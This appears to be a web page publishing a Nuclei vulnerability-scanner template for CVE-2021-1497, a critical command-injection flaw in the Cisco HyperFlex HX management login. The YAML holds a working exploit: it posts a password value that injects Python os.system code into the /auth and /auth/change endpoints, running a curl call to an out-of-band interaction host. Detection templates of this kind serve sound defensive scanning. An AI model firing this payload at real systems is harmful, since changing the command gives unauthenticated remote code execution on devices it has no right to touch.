Cisco HyperFlex HX Data Platform - Remote Command Execution

ID: CVE-2021-1497

Severity: critical

Author: gy741

Tags: cve,cve2021,cisco,rce,oast,kev,packetstorm

Description

Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.

YAML Source

id: CVE-2021-1497

info:
  name: Cisco HyperFlex HX Data Platform - Remote Command Execution
  author: gy741
  severity: critical
  description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  remediation: |
    Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1497
    - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
    - https://twitter.com/Unit42_Intel/status/1402655493735206915
    - https://twitter.com/ptswarm/status/1390300625129201664
    - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
    - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-1497
    cwe-id: CWE-78
    epss-score: 0.97512
    epss-percentile: 0.99982
    cpe: cpe:2.3:o:cisco:hyperflex_hx_data_platform:4.0\(2a\):*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: cisco
    product: hyperflex_hx_data_platform
  tags: cve,cve2021,cisco,rce,oast,kev,packetstorm
variables:
  cmd: 'curl http://{{interactsh-url}} -H \"User-Agent: {{useragent}}\"'
  payload: '123",""$6$$)); import os;os.system("{{cmd}}");print(crypt.crypt("'
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /auth/change HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        username=root&password={{url_encode(payload)}}
      - |
        POST /auth HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        username=root&password={{url_encode(payload)}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"
# digest: 4b0a004830460221008bd1b9b52a0def7ce9df6f85370849becc0d212ccdd16ac6412bfdf127295f42022100a7151153222281035158aab8ae17d7c2c3eb6bde6f9cfe023494752dd4017087:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-1497.yaml"

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